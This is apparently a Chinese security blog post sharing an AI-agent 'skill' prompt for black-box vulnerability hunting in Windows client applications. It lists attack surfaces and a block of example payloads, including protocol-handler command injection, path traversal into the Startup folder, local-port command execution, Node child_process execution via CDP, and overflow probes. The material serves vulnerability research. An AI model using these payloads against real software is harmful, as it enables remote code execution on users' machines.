客户端漏洞挖掘skills
原创
鬼麦子
鬼麦子
鬼麦子
2026年6月25日 20:05
陕西
在小说阅读器读本章
去阅读
这是当年手工方法,搞成skills win客户端黑盒挖掘
其实,无需多言,给个安装目录,嘎嘎跑就完事,winodws/android/mac这些基本同理。
曾经不少人怀疑ai没法二进制,实际上他妈的,因为cmd PowerShell,基本都是命令行操作,ida/ghidra都不是很友好,退而求其次就r2了,但是agent这个屌毛甚至r2他觉得不好使,人自己用python pefile、struct进行逆向反编译了。
---name: client-side-huntingdescription: 客户端漏洞挖掘,对客户端安装目录进行漏洞挖掘。---
# 客户端黑盒漏洞挖掘
支持Windows客户端,很多东西没必要全量读取,即费上下文又费token,尽量读关键位置,比如关键位置的上下文几千,不必要的输出也别输出,不可修改目标项目的任何文件内容。
只可以使用以下工具:
- PowerShell(主战)- cmd- python- jadx.bat 工具安装目录 D:\\hack_tools\\jadx\\bin- rabin2.exe 工具安装目录 D:\\hack_tools\\radare2-6.1.6-w64\\bin- asar- curl.exe
用好工具,反编译逆向与直接测试都可以用于进行深度漏洞挖掘,如存在攻击面的函数变量深度追踪,危险函数变量的深度追踪。
### 攻击面分析
1. 框架类CEF/Electron/WPF/WinForms/QT/Tauri/WinUI3 2. 自定义协议 Deep Link/App Link 自定义协议路由3. 客户端程序开启的侦听端口4. 客户端进程信息5. 客户端功能6. js接口(JS Bridge)7. 重点关注文件类型: `.exe` `.dll` `.asar` `.config` `.json` `.xml` `.js` `.html` `.pak`
### 漏洞案例
```myapp://?id=1|calc 伪协议参数命令注入myapp://?url=http://test.com/cve-2022-xxx.html 客户端可以加载指定页面,但客户端内嵌chrome版本太低并且--no-sandbox未开沙箱,导致rcemyapp://?url=file://C://Windows//System32//calc.exe 伪协议导致可以打开本地任意文件,导致rcemyapp://download?url=http://www.test.com/calc.exe&foldername=.../.../.../.../.../.../Start Menu/Programs/Startup 目录穿越,下载exe至启动目录或者覆盖其他exe文件,导致rcehttp://127.0.0.1:1239/api/exec?cmd=calc 端口功能,导致rcehttp://127.0.0.1:1239/api/ping?ip=0.0.0.0|calc 参数命令注入rcehttp://127.0.0.1:1239/api/go-to?url=http://test.com/cve-2022-xxx.html 客户端可以加载指定页面,但客户端内嵌chrome版本太低并且--no-sandbox未开沙箱,导致rcehttp://127.0.0.1:1239/../../../Windows/win.ini 目录穿越,任意文件读取http://127.0.0.1:29222/json cdp端口开放,导致出现一系列攻击面,如require('child_process').exec('calc') 导致rce等。
POST http://127.0.0.1:45621/download{\"type\":\"action\",\"url\":\"http://[email protected]/calc.exe\"} 客户端端口功能,www.test.com特权域可直接执行下载文件,下载并直接执行exe导致rce,特权域绕过。
require('child_process').exec('calc') 一些客户端内嵌浏览器可控,访问测试页面后可以执行nodejs代码,导致rcewindow.test.test({\"cmd\":\"calc\"})\t一些客户端内嵌浏览器可控,内部定义了很多js接口(JS Bridge)功能,导致rcewindow.test.test({\"openurl\":\"file://C://Windows//System32//calc.exe\"})\t一些客户端内嵌浏览器可控,内部定义了很多js接口功能,导致rcewindow.test.getCookie()\t一些客户端内嵌浏览器可控,内部定义了很多js接口(JS Bridge)功能,导致敏感信息泄露http://127.0.0.1:1239/api/get?text=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 远程溢出导致拒绝服务,没有内存保护GS、DEP、ASLR之类,可尝试编写shllcode exp远程rcewindow.test.test(\"\\x00\\x00\\x00 \") 溢出导致拒绝服务,没有内存保护GS、DEP、ASLR之类,可尝试编写shllcode exp远程rce```
### 漏洞验证
虚假漏洞案例: myapp://page/webview?url=file://C://Windows//System32//calc.exe 如从某些点看起来,这样就可以执行,实际上url参数在某些地方已经没安全过滤了,所以是虚假漏洞; window.test.test({\"openurl\":\"file://C://Windows//System32//calc.exe\"})\t 这种是必须某些域名下才能执行,如果不能绕过,或者有特权域的xss,也是虚假漏洞。
所以发现漏洞后,二次验证,必须是可靠漏洞,跟踪整个链路,通过逆向反编译,代码层面验证过或者实际验证过的真实漏洞,可以进行远程攻击的漏洞,不要有恶意exp之类验证,打开计算器或者curl 127.0.0.1/xxx收到log即可。
### 项目缓存
可在当前目录建立个文件夹存放md文件,保存攻击面、挖掘过程等重要信息,避免超出上下文后,记忆压缩后,对重要信息的遗忘,以及重复测试。
### 输出标准
1. 客户端攻击面、类型、攻击面描述、可能导致出现的漏洞(绝不允许有其他输出)2. 客户端路径、exp、漏洞等级、漏洞类型。(绝不允许有其他输出,必须是可靠漏洞,通过逆向反编译,代码层面验证过或者实际验证过的真实漏洞,可以进行远程攻击的漏洞)
回想当年搞客户端,win客户端黑盒挖掘 ,折腾半天,现在就一句话,对c:/xxx 进行漏洞挖掘。
这年头,不要瞎折腾、不要吹牛逼,给AI目标、工具、案例,完事,甚至模型都不需要太好,嘎嘎跑。
你要说直接出洞,除了那种特别明显的,但是对那种几百几千万装机量的,也不太现实,给线索给证据后,有理解的人自然而然就出洞了。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论